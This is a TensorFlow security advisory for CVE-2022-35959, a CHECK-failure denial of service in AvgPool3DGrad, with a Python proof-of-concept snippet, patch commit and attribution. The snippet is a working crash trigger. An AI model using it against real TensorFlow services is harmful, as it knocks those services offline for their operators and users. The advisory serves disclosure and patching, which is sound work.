1## TFSA-2022-094: `CHECK` failures in `AvgPool3DGrad` 2 3### CVE Number 4CVE-2022-35959 5 6### Impact 7The implementation of `AvgPool3DGradOp` does not fully validate the input `orig_input_shape`. This results in an overflow that results in a `CHECK` failure which can be used to trigger a denial of service attack: 8```python 9import tensorflow as tf 10 11ksize = [1, 2, 2, 1] 12strides = [1, 2, 2, 1] 13padding = "VALID" 14data_format = "NHWC" 15orig_input_shape = tf.constant(-536870912, shape=[4], dtype=tf.int32) 16grad = tf.constant(.0890338004362538, shape=[1,5,7,1], dtype=tf.float64) 17tf.raw_ops.AvgPoolGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format) 18``` 19 20### Patches 21We have patched the issue in GitHub commit [9178ac9d6389bdc54638ab913ea0e419234d14eb](https://github.com/tensorflow/tensorflow/commit/9178ac9d6389bdc54638ab913ea0e419234d14eb). 22 23The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. 24 25 26### For more information 27Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. 28 29 30### Attribution 31This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University. 32